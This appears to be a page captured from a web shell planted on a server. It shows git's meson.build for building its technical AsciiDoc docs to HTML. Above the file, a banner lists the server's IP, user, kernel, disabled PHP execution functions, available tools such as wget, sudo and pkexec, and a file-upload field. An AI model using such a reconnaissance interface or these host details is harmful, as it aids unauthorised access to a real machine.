| Server IP : 88.99.149.37 / Your IP : 216.73.216.141 Web Server : nginx/1.31.2 System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64 User : muralimurth ( 1015) PHP Version : 8.4.23 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/git/technical/ |
Upload File : |
api_docs = [
'api-error-handling.adoc',
'api-merge.adoc',
'api-parse-options.adoc',
'api-simple-ipc.adoc',
'api-trace2.adoc',
]
articles = [
'bitmap-format.adoc',
'build-systems.adoc',
'bundle-uri.adoc',
'commit-graph.adoc',
'directory-rename-detection.adoc',
'hash-function-transition.adoc',
'large-object-promisors.adoc',
'long-running-process-protocol.adoc',
'multi-pack-index.adoc',
'packfile-uri.adoc',
'pack-heuristics.adoc',
'parallel-checkout.adoc',
'partial-clone.adoc',
'platform-support.adoc',
'racy-git.adoc',
'reftable.adoc',
'remembering-renames.adoc',
'repository-version.adoc',
'rerere.adoc',
'scalar.adoc',
'send-pack-pipeline.adoc',
'shallow.adoc',
'sparse-checkout.adoc',
'sparse-index.adoc',
'trivial-merge.adoc',
'unit-tests.adoc',
]
api_index = custom_target(
command: [
shell,
meson.current_source_dir() / 'api-index.sh',
meson.current_source_dir(),
'@OUTPUT@',
],
env: script_environment,
input: api_docs,
output: 'api-index.adoc',
)
doc_targets += custom_target(
command: asciidoc_html_options,
input: api_index,
output: 'api-index.html',
depends: documentation_deps,
install: true,
install_dir: htmldir / 'technical',
)
foreach article : api_docs + articles
doc_targets += custom_target(
command: asciidoc_html_options,
input: article,
output: fs.stem(article) + '.html',
depends: documentation_deps,
install: true,
install_dir: htmldir / 'technical',
)
endforeach